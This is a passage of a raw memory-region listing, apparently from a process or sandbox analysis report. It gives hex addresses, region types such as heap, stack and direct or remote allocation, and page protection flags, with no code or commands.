page readonly
5F1000
heap
page read and write
2794000
direct allocation
page read and write
20E6D642000
heap
page read and write
1750000
heap
page read and write
30DC000
heap
page read and write
68C3D000
unkown
page read and write
20E6DF13000
heap
page read and write
5FB7000
heap
page read and write
2FF4000
heap
page read and write
24816000
heap
page read and write
5FBD000
heap
page read and write
209F000
stack
page read and write
422000
unkown
page write copy
29E0000
heap
page read and write
20E72CC3000
heap
page read and write
B9E000
stack
page read and write
2484C000
heap
page read and write
FFF000
unkown
page execute and write copy
50C000
unkown
page read and write
28AA000
direct allocation
page read and write
5FDC000
heap
page read and write
6BCA1000
unkown
page execute read
4E4000
heap
page read and write
74AC000
heap
page read and write
4BC000
stack
page read and write
20E72C20000
heap
page read and write
5D3000
heap
page read and write
2A30000
heap
page read and write
416000
unkown
page read and write
30C8000
heap
page read and write
2FF4000
heap
page read and write
24839000
heap
page read and write
309C000
stack
page read and write
587000
heap
page read and write
4B11000
unkown
page read and write
C54000
heap
page read and write
2FF4000
heap
page read and write
20E72C2E000
heap
page read and write
26C8000
heap
page read and write
427000
unkown
page readonly
30C7000
heap
page read and write
20E72B70000
trusted library allocation
page read and write
1E670000
heap
page read and write
20E6D702000
heap
page read and write
5FC0000
heap
page read and write
2C9D000
stack
page read and write
24912000
heap
page read and write
20E6D613000
heap
page read and write
29EE000
stack
page read and write
5F8D000
heap
page read and write
53B000
heap
page read and write
ECD7D7E000
unkown
page readonly
5FC0000
heap
page read and write
ECD747E000
unkown
page readonly
408000
unkown
page readonly
5F8C000
heap
page read and write
3B50000
heap
page read and write
5AD9000
direct allocation
page read and write
94F000
stack
page read and write
6510000
heap
page read and write
4C0D000
stack
page read and write
3251000
heap
page read and write
A09000
unkown
page read and write
5EAE000
stack
page read and write
40D7000
heap
page read and write
2FF4000
heap
page read and write
3251000
heap
page read and write
2068000
heap
page read and write
EF9000
stack
page read and write
3474000
unkown
page read and write
70C0000
heap
page read and write
4170000
heap
page read and write
ECD817E000
unkown
page readonly
1565000
heap
page read and write
3474000
unkown
page read and write
3474000
unkown
page read and write
30CE000
heap
page read and write
549000
unkown
page execute and read and write
3474000
unkown
page read and write
83E000
stack
page read and write
2483E000
heap
page read and write
32DC000
heap
page read and write
766000
unkown
page read and write
2FF4000
heap
page read and write
20E6D729000
heap
page read and write
ECD867E000
unkown
page readonly
2E50000
heap
page read and write
2A50000
heap
page read and write
61ECC000
direct allocation
page read and write
386B000
heap
page read and write
56A000
heap
page read and write
B4F000
stack
page read and write
27AC000
direct allocation
page read and write
3251000
heap
page read and write
20E72D29000
heap
page read and write
2FF4000
heap
page read and write
3251000
heap
page read and write
2819000
direct allocation
page read and write
20E6D580000
trusted library allocation
page read and write
6BD41000
unkown
page execute read
640000
heap
page read and write
314E000
stack
page read and write
77B000
unkown
page write copy
5F0000
heap
page read and write
30B0000
heap
page read and write
5B0000
heap
page read and write
3420000
trusted library allocation
page read and write
1580000
heap
page read and write
1E671000
heap
page read and write
610000
heap
page read and write
3193000
heap
page read and write
2482C000
heap
page read and write
4D20000
trusted library allocation
page read and write
2FF4000
heap
page read and write
213E000
stack
page read and write
70A5000
heap
page read and write
68CF000
stack
page read and write
3251000
heap
page read and write
41F000
unkown
page write copy
1199000
stack
page read and write
2FF4000
heap
page read and write
38F0000
unkown
page read and write
3474000
unkown
page read and write
7720000
heap
page read and write
28ED000
stack
page read and write
5FDF000
heap
page read and write
714E000
stack
page read and write
30DF000
heap
page read and write
3730000
heap
page read and write
30C0000
heap
page read and write
2482B000
heap
page read and write
40C5000
heap
page read and write
2FF4000
heap
page read and write
378E000
unkown
page read and write
560000
heap
page read and write
3251000
heap
page read and write
3199000
heap
page read and write
55A000
heap
page read and write
5F99000
heap
page read and write
2FF4000
heap
page read and write
2484C000
heap
page read and write
53F000
stack
page read and write
401000
unkown
page execute read
769E000
stack
page read and write
3470000
heap
page read and write
49C000
unkown
page readonly
2F9F000
stack
page read and write
49C000
unkown
page readonly
549000
heap
page read and write
32A8000
heap
page read and write
7FA30000
trusted library allocation
page execute and read and write
2F20000
heap
page read and write
2FF4000
heap
page read and write
2FF4000
heap
page read and write
2A63000
heap
page read and write
3251000
heap
page read and write
2B78000
heap
page read and write
5300000
trusted library allocation
page read and write
5BA000
heap
page read and write
30F8000
heap
page read and write
2484C000
heap
page read and write
2900000
heap
page read and write
3251000
heap
page read and write
30CD000
heap
page read and write
52A000
heap
page read and write
5F91000
heap
page read and write
5FB7000
heap
page read and write
5FAC000
heap
page read and write
3251000
heap
page read and write
5EF6000
heap
page read and write
2FF4000
heap
page read and write
2F0000
heap
page read and write
2FF4000
heap
page read and write
417A000
heap
page read and write
A9C000
stack
page read and write
20E72AA3000
trusted library allocation
page read and write
FF4000
unkown
page read and write
16D8000
heap
page read and write
2F50000
heap
page read and write
27BE000
direct allocation
page read and write
41FA000
heap
page read and write
2FF4000
heap
page read and write
2FF4000
heap
page read and write
20E6E630000
trusted library section
page readonly
5D7000
heap
page read and write
1E90000
heap
page read and write
2EF0000
heap
page read and write
761000
unkown
page read and write
2720000
heap
page read and write
3100000
heap
page read and write
323C000
stack
page read and write
312E000
stack
page read and write
30CF000
heap
page read and write
2FF4000
heap
page read and write
24BB000
stack
page read and write
20E6D450000
heap
page read and write
BDC000
stack
page read and write
1E37E000
stack
page read and write
20E6D695000
heap
page read and write
3802A000
heap
page read and write
3040000
trusted library allocation
page read and write
3251000
heap
page read and write
24828000
heap
page read and write
751B000
stack
page read and write
2ACF000
stack
page read and write
5F88000
heap
page read and write
5F96000
heap
page read and write
53D000
heap
page read and write
2FF4000
heap
page read and write
3857000
heap
page read and write
2FF0000
heap
page read and write
C48000
heap
page read and write
191000
stack
page read and write
277C000
heap
page read and write
29D8000
heap
page read and write
37AAF000
heap
page read and write
6F9E000
stack
page read and write
10000000
direct allocation
page read and write
5FDC000
heap
page read and write
26C0000
heap
page read and write
2B1E000
stack
page read and write
3475000
unkown
page read and write
384F000
stack
page read and write
2FF4000
heap
page read and write
603E000
stack
page read and write
5F1D000
heap
page read and write
3251000
heap
page read and write
5FE1000
heap
page read and write
337A000
stack
page read and write
12D4000
heap
page read and write
12D4000
heap
page read and write
20E6E520000
trusted library allocation
page read and write
24823000
heap
page read and write
3769C000
stack
page read and write
62A000
heap
page read and write
16A7000
heap
page read and write
2E8E000
stack
page read and write
2FF4000
heap
page read and write
4044000
unkown
page read and write
3070000
heap
page read and write
2A8BE000
heap
page read and write
583000
heap
page read and write
3251000
heap
page read and write
3474000
unkown
page read and write
3150000
heap
page read and write
5F49000
heap
page read and write
20E6DE15000
heap
page read and write
5F36000
heap
page read and write
20E72D33000
heap
page read and write
20E6DF1A000
heap
page read and write
105D7000
direct allocation
page read and write
8630000
trusted library allocation
page execute and read and write
740000
heap
page read and write
5EE000
stack
page read and write
540000
heap
page read and write
400000
unkown
page readonly
30F5000
heap
page read and write
2A901000
heap
page read and write
5D61000
unkown
page read and write
3390000
heap
page read and write
345E000
stack
page read and write
172E000
stack
page read and write
5CCF000
stack
page read and write
20E72C65000
heap
page read and write
20E6E650000
trusted library section
page readonly
3178000
heap
page read and write
28C0000
heap
page read and write
33D0000
heap
page read and write
24840000
heap
page read and write
5FE6000
heap
page read and write
1E770000
heap
page read and write
43C000
stack
page read and write
37F64000
heap
page read and write
27AF000
direct allocation
page read and write
3198000
heap
page read and write
9B000
stack
page read and write
61DE000
stack
page read and write
3280000
heap
page read and write
3450000
heap
page read and write
2B4E000
stack
page read and write
3474000
unkown
page read and write
287F000
direct allocation
page read and write
5D73000
unkown
page read and write
3474000
unkown
page read and write
25BC000
stack
page read and write
35AF000
stack
page read and write
7C30000
trusted library allocation
page read and write
4D10000
trusted library allocation
page execute and read and write
423000
unkown
page read and write
5190000
heap
page read and write
6BEDF000
unkown
page readonly
400000
unkown
page readonly
3251000
heap
page read and write
24830000
heap
page read and write
4023000
unkown
page readonly
640000
heap
page read and write
ECD727E000
unkown
page readonly
628000
heap
page read and write
FF5000
unkown
page write copy
30F0000
heap
page read and write
885000
heap
page read and write
BF0000
heap
page read and write
1430000
heap
page read and write
718E000
stack
page read and write
2200000
heap
page read and write
3251000
heap
page read and write
6AF000
stack
page read and write
5F8000
heap
page read and write
31AC000
stack
page read and write
72CE000
stack
page read and write
2BFE000
stack
page read and write
5FC0000
heap
page read and write
29F0000
trusted library allocation
page read and write
2482C000
heap
page read and write
24828000
heap
page read and write
31A3000
heap
page read and write
ECD757C000
stack
page read and write
ECD7CFE000
stack
page read and write
2FF4000
heap
page read and write
3251000
heap
page read and write
BFD000
heap
page read and write
5F29000
heap
page read and write
5B9000
heap
page read and write
5870000
trusted library allocation
page read and write
20E6D713000
heap
page read and write
24840000
heap
page read and write
540000
heap
page read and write
2AEF000
stack
page read and write
1E671000
heap
page read and write
3474000
unkown
page read and write
5FA4000
heap
page read and write
41B000
unkown
page readonly
5F6000
heap
page read and write
2F60000
heap
page read and write
27AB000
stack
page read and write
12D4000
heap
page read and write
3D00000
heap
page read and write
3251000
heap
page read and write
741E000
stack
page read and write
7BE000
stack
page read and write
5D4000
heap
page read and write
7285000
heap
page execute and read and write
7BD0000
trusted library allocation
page read and write
40E0000
direct allocation
page execute and read and write
29CE000
stack
page read and write
A09000
unkown
page read and write
9D0000
heap
page read and write
5FC0000
heap
page read and write
3A82000
heap
page read and write
600000
heap
page read and write
5F8D000
heap
page read and write
34DB000
heap
page read and write
3D35000
heap
page read and write
5F86000
heap
page read and write
4C0A000
trusted library allocation
page execute and read and write
ECD81FE000
stack
page read and write
2FF4000
heap
page read and write
5F96000
heap
page read and write
3914000
unkown
page read and write
7BB0000
trusted library allocation
page read and write
30DD000
heap
page read and write
5F9A000
heap
page read and write
2E7F000
stack
page read and write
20E72FD0000
trusted library allocation
page read and write
3251000
heap
page read and write
5F62000
heap
page read and write
5FB4000
heap
page read and write
2B7B000
stack
page read and write
31C3000
heap
page read and write
2869000
direct allocation
page read and write
5F62000
heap
page read and write
A09000
unkown
page write copy
2FF4000
heap
page read and write
12D4000
heap
page read and write
FFF000
unkown
page execute and write copy
5FDD000
heap
page read and write
309BA000
heap
page read and write
3251000
heap
page read and write
27D8000
direct allocation
page read and write
3251000
heap
page read and write
ECD7EFE000
stack
page read and write
735D000
stack
page read and write
30EE000
stack
page read and write
66E000
stack
page read and write
87E000
stack
page read and write
25D000
stack
page read and write
5F36000
heap
page read and write
3433000
trusted library allocation
page execute and read and write
3251000
heap
page read and write
990000
unkown
page readonly
3030000
heap
page read and write
ECD8B7B000
stack
page read and write
7A10000
heap
page read and write
2482A000
heap
page read and write
709F000
stack
page read and write
61EB4000
direct allocation
page read and write
32A0000
heap
page read and write
3193000
heap
page read and write
FFE000
unkown
page readonly
771E000
stack
page read and write
899E000
stack
page read and write
20E72B00000
trusted library allocation
page read and write
2F90000
heap
page read and write
2FF4000
heap
page read and write
3199000
heap
page read and write
3341000
heap
page read and write
47C000
stack
page read and write
2828000
direct allocation
page read and write
FFE000
unkown
page readonly
2FF4000
heap
page read and write
2D8E000
stack
page read and write
3199000
heap
page read and write
513000
unkown
page readonly
ECD797C000
stack
page read and write
37F55000
heap
page read and write
40D5000
heap
page read and write
5F96000
heap
page read and write
550000
heap
page read and write
412000
unkown
page readonly
3474000
unkown
page read and write
343D000
trusted library allocation
page execute and read and write
60B9000
trusted library allocation
page read and write
31BD000
heap
page read and write
3251000
heap
page read and write
394F000
stack
page read and write
960000
heap
page read and write
7AAE000
stack
page read and write
E8F000
stack
page read and write
30D2000
heap
page read and write
1EA1000
heap
page read and write
9A000
stack
page read and write
5AE000
stack
page read and write
2FF4000
heap
page read and write
417E000
heap
page read and write
349F000
stack
page read and write
7BC0000
trusted library allocation
page read and write
1E4FE000
stack
page read and write
7A0D000
heap
page read and write
5FA5000
heap
page read and write
619000
heap
page read and write
2886000
direct allocation
page read and write
6099000
trusted library allocation
page read and write
20E6E610000
trusted library section
page readonly
346F000
stack
page read and write
3251000
heap
page read and write
2BB0000
heap
page read and write
1725000
heap
page read and write
2878000
direct allocation
page read and write
24830000
heap
page read and write
20E72D0A000
heap
page read and write
3010000
heap
page read and write
778000
unkown
page read and write
5F62000
heap
page read and write
3D1C000
heap
page read and write
3474000
unkown
page read and write
5FB8000
heap
page read and write
2076000
heap
page read and write
5F9F000
heap
page read and write
5F98000
heap
page read and write
8C0000
heap
page read and write
4C30000
trusted library allocation
page read and write
1E660000
heap
page read and write
1000000
unkown
page execute and read and write
3251000
heap
page read and write
3251000
heap
page read and write
24821000
heap
page read and write
2F7E000
stack
page read and write
ECD8A7E000
unkown
page readonly
31BD000
heap
page read and write
2FF4000
heap
page read and write
2EE0000
heap
page read and write
20E72C30000
heap
page read and write
197000
stack
page read and write
3251000
heap
page read and write
4CFF000
stack
page read and write
447000
unkown
page execute and read and write
3162000
heap
page read and write
6A18000
heap
page read and write
10001000
direct allocation
page execute read
349E000
stack
page read and write
6060000
heap
page read and write
5F8F000
heap
page read and write
ECD737E000
stack
page read and write
32B8000
heap
page read and write
3474000
unkown
page read and write
3474000
unkown
page read and write
3251000
heap
page read and write
5FB7000
heap
page read and write
89B0000
heap
page read and write
410000
heap
page read and write
20E6E340000
trusted library allocation
page read and write
70CC000
stack
page read and write
2482B000
heap
page read and write
BE1000
heap
page read and write
2DB0000
heap
page read and write
3430000
unkown
page read and write
8720000
trusted library allocation
page execute and read and write
323F000
stack
page read and write
2FDC000
stack
page read and write
5F62000
heap
page read and write
21D000
stack
page read and write
2796000
direct allocation
page read and write
341E000
stack
page read and write
20E72CFC000
heap
page read and write
5EFD000
unkown
page read and write
3251000
heap
page read and write
246D5000
heap
page read and write
602E000
stack
page read and write
2064000
heap
page read and write
3060000
heap
page read and write
76D000
unkown
page read and write
C2A000
heap
page read and write
20E72A31000
trusted library allocation
page read and write
20E72A70000
trusted library allocation
page read and write
710E000
stack
page read and write
20E6D62B000
heap
page read and write
ECD777B000
stack
page read and write
25CD000
stack
page read and write
28D0000
direct allocation
page execute and read and write
2483E000
heap
page read and write
2630000
heap
page read and write
90E000
stack
page read and write
2483E000
heap
page read and write
3251000
heap
page read and write
6A0C000
stack
page read and write
8BF000
stack
page read and write
3860000
heap
page read and write
266E000
stack
page read and write
33E1000
heap
page read and write
2900000
heap
page read and write
3251000
heap
page read and write
5FA0000
heap
page read and write
3B61000
heap
page read and write
2776000
heap
page read and write
5C8E000
stack
page read and write
5F81000
heap
page read and write
7A09000
heap
page read and write
2D0000
heap
page read and write
3460000
heap
page read and write
5F96000
heap
page read and write
3251000
heap
page read and write
2FF4000
heap
page read and write
5F47000
heap
page read and write
2484B000
heap
page read and write
5FA3000
heap
page read and write
2F10000
remote allocation
page read and write
93E000
stack
page read and write
5CD0000
heap
page read and write
5D5000
heap
page read and write
12B0000
heap
page read and write
2DAD000
stack
page read and write
FFF000
unkown
page execute and write copy
2FF4000
heap
page read and write
31BE000
heap
page read and write
285B000
direct allocation
page read and write
30CB000
heap
page read and write
5F40000
heap
page read and write
2484C000
heap
page read and write
20E72C90000
heap
page read and write
2D6D000
stack
page read and write
68AE1000
unkown
page execute read
2484C000
heap
page read and write
3251000
heap
page read and write
3251000
heap
page read and write
314F000
stack
page read and write
4C00000
trusted library allocation
page read and write
480000
heap
page read and write
5FB4000
heap
page read and write
20E6DF1A000
heap
page read and write
24830000
heap
page read and write
2FF4000
heap
page read and write
2728000
heap
page read and write
B60000
heap
page read and write
2F0000
unkown
page readonly
5FA3000
heap
page read and write
54D4000
heap
page read and write
41CA000
heap
page read and write
4F1000
heap
page read and write
32E9000
heap
page read and write
2D40000
heap
page read and write
7A1C000
heap
page read and write
5F47000
heap
page read and write
9C000
stack
page read and write
24823000
heap
page read and write
12D4000
heap
page read and write
1438000
heap
page read and write
3550000
unkown
page read and write
30D2000
heap
page read and write
3AC000
stack
page read and write
27FC000
direct allocation
page read and write
5FA3000
heap
page read and write
783000
unkown
page readonly
20E72B10000
trusted library allocation
page read and write
FFF000
unkown
page execute and write copy
1F0000
heap
page read and write
4C50000
trusted library allocation
page read and write
890E000
stack
page read and write
74B000
heap
page read and write
27CD000
stack
page read and write
2FF4000
heap
page read and write
3474000
unkown
page read and write
374DB000
stack
page read and write
5F62000
heap
page read and write
5FDF000
heap
page read and write
6BD32000
unkown
page readonly
2B8F000
stack
page read and write
27D4000
direct allocation
page read and write
40A000
unkown
page read and write
41B000
unkown
page readonly
5FA7000
heap
page read and write
5F91000
heap
page read and write
5F85000
heap
page read and write
20E72C4F000
heap
page read and write
1E27E000
stack
page read and write
56D0000
heap
page read and write
20E6D600000
heap
page read and write
31C2000
heap
page read and write
5FA3000
heap
page read and write
76F000
unkown
page read and write
3251000
heap
page read and write
5FC0000
heap
page read and write
2484B000
heap
page read and write
20E72CF3000
heap
page read and write
630000
heap
page read and write
ECD8979000
stack
page read and write
20E6DF9D000
heap
page read and write
2483E000
heap
page read and write
6091000
trusted library allocation
page read and write
68BF7000
unkown
page readonly
24844000
heap
page read and write
5FC0000
heap
page read and write
2B19000
stack
page read and write
8740000
trusted library allocation
page read and write
5F8F000
heap
page read and write
2F2B000
heap
page read and write
3474000
unkown
page read and write
20FE000
unkown
page read and write
5FDC000
heap
page read and write
41EB000
heap
page read and write
20E729A0000
trusted library allocation
page read and write
317B000
heap
page read and write
3251000
heap
page read and write
5FB4000
heap
page read and write
30CE000
heap
page read and write
FFE000
unkown
page readonly
5F2B000
heap
page read and write
4789000
trusted library allocation
page read and write
2F3E000
stack
page read and write
582000
heap
page read and write
5F62000
heap
page read and write
2F1000
unkown
page execute read
5FBD000
heap
page read and write
B4E000
stack
page read and write
373DC000
stack
page read and write
52EB000
trusted library allocation
page read and write
C25000
heap
page read and write
3251000
heap
page read and write
14E0000
heap
page read and write
FF5000
unkown
page write copy
74DE000
stack
page read and write
3420000
heap
page read and write
28B8000
direct allocation
page read and write
2FF4000
heap
page read and write
61ED4000
direct allocation
page readonly
5FA7000
heap
page read and write
3020000
heap
page read and write
4FC000
stack
page read and write
2F2E000
stack
page read and write
3251000
heap
page read and write
5FB7000
heap
page read and write
3251000
heap
page read and write
3853000
heap
page read and write
5FC0000
heap
page read and write
4160000
heap
page read and write
3251000
heap
page read and write
373DA000
heap
page read and write
560000
heap
page read and write
2F56000
heap
page read and write
24848000
heap
page read and write
12D4000
heap
page read and write
24815000
heap
page read and write
5D70000
unkown
page read and write
20E72D03000
heap
page read and write
2862000
direct allocation
page read and write
30D7000
heap
page read and write
3251000
heap
page read and write
5E6B000
heap
page read and write
169B000
heap
page read and write
3914000
unkown
page read and write
5F81000
heap
page read and write
20E72B80000
trusted library allocation
page read and write
5F82000
heap
page read and write
6BD40000
unkown
page readonly
5FB7000
heap
page read and write
ECD827E000
unkown
page readonly
3251000
heap
page read and write
7280000
heap
page execute and read and write
374F000
unkown
page read and write
3478000
heap
page read and write
419000
unkown
page write copy
2D4F000
stack
page read and write
1740000
heap
page read and write
2B90000
heap
page read and write
401000
unkown
page execute read
62C000
heap
page read and write
C5C000
heap
page read and write
5FC0000
heap
page read and write
24839000
heap
page read and write
30DB000
heap
page read and write
52DE000
trusted library allocation
page read and write
417000
unkown
page execute read
770000
heap
page read and write
880000
heap
page read and write
954000
heap
page read and write
5FB4000
heap
page read and write
4DEF000
stack
page read and write
7A04000
heap
page read and write
2484C000
heap
page read and write
2484C000
heap
page read and write
289E000
stack
page read and write
3251000
heap
page read and write
6BF1F000
unkown
page write copy
5E60000
heap
page read and write
303E000
stack
page read and write
34C0000
heap
page read and write
283D000
stack
page read and write
9CE000
stack
page read and write
895E000
stack
page read and write
6BD1D000
unkown
page readonly
171C000
heap
page read and write
C33000
heap
page read and write
20E6D67B000
heap
page read and write
3158000
heap
page read and write
C37000
heap
page read and write
ECD767E000
unkown
page readonly
5FE6000
heap
page read and write
ECD7C7E000
unkown
page readonly
5E3F000
stack
page read and write
31BE000
heap
page read and write
749A000
stack
page read and write
40C0000
heap
page read and write
517F000
stack
page read and write
5F33000
heap
page read and write
1E3BE000
stack
page read and write
24844000
heap
page read and write
171F000
heap
page read and write
509000
unkown
page write copy
2A8A0000
heap
page read and write
79BB000
heap
page read and write
24830000
heap
page read and write
5FA6000
heap
page read and write
50F000
stack
page read and write
87E000
unkown
page readonly
991000
unkown
page execute read
20E6D6A0000
heap
page read and write
2F9B000
heap
page read and write
20E72CCA000
heap
page read and write
3078000
stack
page read and write
4A10000
unkown
page read and write
41F000
unkown
page write copy
4D40000
heap
page read and write
3A72000
heap
page read and write
3914000
unkown
page read and write
3251000
heap
page read and write
55A000
heap
page read and write
5FAB000
heap
page read and write
2ADB000
stack
page read and write
2484B000
heap
page read and write
412000
unkown
page readonly
FFE000
unkown
page readonly
2F80000
heap
page read and write
ECD8C7E000
unkown
page readonly
30E5000
heap
page read and write
ECD91FE000
stack
page read and write
D8F000
stack
page read and write
5D8F000
stack
page read and write
2A8A7000
heap
page read and write
4C34000
unkown
page read and write
30E0000
heap
page read and write
3251000
heap
page read and write
4CC0000
unkown
page read and write
4185000
heap
page execute and read and write
443F000
stack
page read and write
427000
unkown
page readonly
2483E000
heap
page read and write
5E5000
heap
page read and write
3251000
heap
page read and write
75F000
stack
page read and write
4C58000
trusted library allocation
page read and write
10163000
direct allocation
page read and write
5B4E000
direct allocation
page read and write
4660000
trusted library allocation
page read and write
4DE000
heap
page read and write
5F85000
heap
page read and write
5D61000
unkown
page read and write
30DF000
heap
page read and write
A0A000
unkown
page write copy
3474000
unkown
page read and write
1EA0000
heap
page read and write
10001000
direct allocation
page execute read
293C000
stack
page read and write
105D6000
direct allocation
page readonly
2FF4000
heap
page read and write
2C1F000
stack
page read and write
62A000
heap
page read and write
263D000
stack
page read and write
317D000
heap
page read and write
442F000
stack
page read and write
16EB000
heap
page read and write
5E9E000
stack
page read and write
3857000
heap
page read and write
2E8B000
heap
page read and write
68C47000
unkown
page readonly
FFB000
unkown
page read and write
3751C000
stack
page read and write
341F000
stack
page read and write
2FF4000
heap
page read and write
ECD7A7E000
unkown
page readonly
51E5000
trusted library allocation
page read and write
305C000
stack
page read and write
24826000
heap
page read and write
3343000
heap
page read and write
34AE000
stack
page read and write
3251000
heap
page read and write
3251000
heap
page read and write
ECD80FE000
stack
page read and write
5EE000
heap
page read and write
48E000
stack
page read and write
C19000
heap
page read and write
20E729B0000
trusted library allocation
page read and write
20E72D07000
heap
page read and write
3251000
heap
page read and write
400000
unkown
page readonly
332F000
stack
page read and write
5BB000
heap
page read and write
A60000
heap
page read and write
5F36000
heap
page read and write
3251000
heap
page read and write
5D60000
unkown
page read and write
BE7000
heap
page read and write
7C10000
trusted library allocation
page read and write
3A72000
heap
page read and write
3251000
heap
page read and write
3474000
unkown
page read and write
282F000
direct allocation
page read and write
4B0000
heap
page read and write
2845000
direct allocation
page read and write
79FC000
heap
page read and write
3251000
heap
page read and write
3474000
unkown
page read and write
42FE000
stack
page read and write
24830000
heap
page read and write
31BF000
heap
page read and write
5FA6000
heap
page read and write
3360000
heap
page read and write
345F000
stack
page read and write
315B000
heap
page read and write
2A8B9000
heap
page read and write
20E6DF1A000
heap
page read and write
1EA1000
heap
page read and write
950000
heap
page read and write
24818000
heap
page read and write
BF2000
heap
page read and write
2FF4000
heap
page read and write
3474000
unkown
page read and write
1195000
stack
page read and write
ECD927E000
unkown
page readonly
4175000
heap
page execute and read and write
20E73010000
heap
page read and write
5FA2000
heap
page read and write
31FE000
stack
page read and write
5F88000
heap
page read and write
3251000
heap
page read and write
24830000
heap
page read and write
20E6D470000
heap
page read and write
613E000
stack
page read and write
5F85000
heap
page read and write
3251000
heap
page read and write
5F32000
heap
page read and write
271F000
stack
page read and write
7BF0000
trusted library allocation
page read and write
30E0000
heap
page read and write
5E67000
heap
page read and write
5DA000
heap
page read and write
5FE1000
heap
page read and write
314F000
stack
page read and write
4FD000
stack
page read and write
5D3E000
stack
page read and write
35A7000
unkown
page read and write
3430000
trusted library allocation
page read and write
678E000
stack
page read and write
C22000
heap
page read and write
720F000
stack
page read and write
31A3000
heap
page read and write
3300000
heap
page read and write
30F0000
heap
page read and write
30C0000
heap
page read and write
2482F000
heap
page read and write
A09000
unkown
page write copy
BF7000
heap
page read and write
3251000
heap
page read and write
3251000
heap
page read and write
2DD0000
heap
page read and write
3458000
heap
page read and write
4209000
heap
page read and write
27A3000
direct allocation
page read and write
2CDD000
stack
page read and write
2FF4000
heap
page read and write
C0C000
heap
page read and write
3251000
heap
page read and write
5F8A000
heap
page read and write
309C8000
heap
page read and write
2483E000
heap
page read and write
2F4E000
stack
page read and write
445000
unkown
page readonly
41C000
unkown
page execute read
24825000
heap
page read and write
1400000
heap
page read and write
3251000
heap
page read and write
5FA7000
heap
page read and write
20E72A10000
trusted library allocation
page read and write
3480000
heap
page read and write
3193000
heap
page read and write
33EF000
stack
page read and write
442E000
heap
page read and write
2BBA000
stack
page read and write
24828000
heap
page read and write
BBE000
stack
page read and write
3251000
heap
page read and write
7882000
heap
page read and write
450000
heap
page read and write
2F57000
heap
page read and write
5F4A000
heap
page read and write
500000
unkown
page read and write
73DE000
stack
page read and write
3474000
unkown
page read and write
2FF4000
heap
page read and write
2EE0000
heap
page read and write
28AC000
stack
page read and write
342E000
unkown
page read and write
24849000
heap
page read and write
3921000
unkown
page read and write
41E6000
heap
page read and write
1DC000
stack
page read and write
373D0000
heap
page read and write
30D7000
heap
page read and write
5F49000
heap
page read and write
797C000
heap
page read and write
48C000
stack
page read and write
5FAA000
heap
page read and write
3251000
heap
page read and write
6235000
trusted library allocation
page read and write
28B1000
direct allocation
page read and write
408000
unkown
page readonly
C4B000
heap
page read and write
440000
heap
page read and write
76A000
unkown
page read and write
3251000
heap
page read and write
146D000
heap
page read and write
1001000
unkown
page readonly
2780000
direct allocation
page read and write
774000
unkown
page read and write
20E6D550000
heap
page read and write
5F87000
heap
page read and write
224D000
stack
page read and write
193000
stack
page read and write
2640000
heap
page read and write
2FF4000
heap
page read and write
20E6DE02000
heap
page read and write
4D47000
heap
page read and write
3251000
heap
page read and write
2D6F000
stack
page read and write
12D4000
heap
page read and write
32EE000
stack
page read and write
24810000
heap
page read and write
25ED000
stack
page read and write
2812000
direct allocation
page read and write
3474000
unkown
page read and write
79F5000
heap
page read and write
3251000
heap
page read and write
400000
unkown
page readonly
1260000
heap
page read and write
2FF4000
heap
page read and write
9B000
stack
page read and write
2FF4000
heap
page read and write
5F62000
heap
page read and write
278D000
direct allocation
page read and write
759E000
stack
page read and write
1E5FD000
stack
page read and write
755E000
stack
page read and write
1C30000
heap
page read and write
12D4000
heap
page read and write
ECD82FE000
stack
page read and write
2690000
heap
page read and write
323D000
stack
page read and write
6BF25000
unkown
page readonly
2483E000
heap
page read and write
19C000
stack
page read and write
5F47000
heap
page read and write
4C12000
trusted library allocation
page read and write
6BF20000
unkown
page read and write
990000
unkown
page readonly
5C6000
heap
page read and write
3470000
heap
page read and write
20E6D6A2000
heap
page read and write
5F85000
heap
page read and write
3360000
heap
page read and write
3474000
unkown
page read and write
276F000
stack
page read and write
41FE000
heap
page read and write
68AE0000
unkown
page readonly
16E0000
heap
page read and write
9A0000
heap
page read and write
55F7000
heap
page read and write
401000
unkown
page execute read
16FF000
heap
page read and write
478D000
trusted library allocation
page read and write
2F10000
remote allocation
page read and write
2FF4000
heap
page read and write
3251000
heap
page read and write
2FF4000
heap
page read and write
20E6E091000
trusted library allocation
page read and write
2483E000
heap
page read and write
20E72A70000
trusted library allocation
page read and write
C0E000
heap
page read and write
4B5000
heap
page read and write
97000
stack
page read and write
309C6000
heap
page read and write
3B60000
heap
page read and write
75E000
unkown
page read and write
3449000
trusted library allocation
page read and write
20E72D21000
heap
page read and write
5E7000
heap
page read and write
8730000
trusted library allocation
page read and write
20E6E620000
trusted library section
page readonly
3250000
heap
page read and write
991000
unkown
page execute read
2E2E000
stack
page read and write
20E6D690000
heap
page read and write
79A1000
heap
page read and write
3A30000
heap
page read and write
2E80000
heap
page read and write
748B000
heap
page read and write
4D08000
unkown
page read and write
4216000
heap
page read and write
3474000
unkown
page read and write
FF4000
unkown
page read and write
2D8E000
stack
page read and write
35AE000
stack
page read and write
51E000
heap
page read and write
5F8A000
heap
page read and write
30E9000
heap
page read and write
234C000
stack
page read and write
ECD887E000
unkown
page readonly
2C3F000
stack
page read and write
416E000
heap
page read and write
430000
heap
page read and write
24830000
heap
page read and write
2482E000
heap
page read and write
513000
heap
page read and write
5F23000
heap
page read and write
3251000
heap
page read and write
31B0000
heap
page read and write
2484E000
heap
page read and write
4D00000
heap
page execute and read and write
20E6DDD1000
trusted library allocation
page read and write
30DF000
heap
page read and write
3196000
heap
page read and write
31EF000
stack
page read and write
5D80000
unkown
page read and write
3251000
heap
page read and write
7730000
heap
page read and write
34A0000
heap
page read and write
24836000
heap
page read and write
BFB000
heap
page read and write
5F96000
heap
page read and write
401000
unkown
page execute read
2BCE000
unkown
page read and write
24840000
heap
page read and write
214C000
heap
page read and write
2FF4000
heap
page read and write
BE3000
heap
page read and write
420000
unkown
page write copy
2FF4000
heap
page read and write
549000
heap
page read and write
309C2000
heap
page read and write
1000000
unkown
page execute and read and write
40A000
unkown
page write copy
77F000
stack
page read and write
724E000
stack
page read and write
2FF4000
heap
page read and write
2310000
heap
page read and write
24822000
heap
page read and write
8910000
heap
page read and write
5F62000
heap
page read and write
2BF0000
heap
page read and write
3251000
heap
page read and write
B9C000
stack
page read and write
2F5E000
stack
page read and write
14FB000
heap
page read and write
5F82000
heap
page read and write
2FF4000
heap
page read and write
C15000
heap
page read and write
20E6D65D000
heap
page read and write
4ED0000
trusted library allocation
page read and write
20E72CC1000
heap
page read and write
C01000
heap
page read and write
2770000
heap
page read and write
147A000
heap
page read and write
3251000
heap
page read and write
5FA7000
heap
page read and write
3474000
unkown
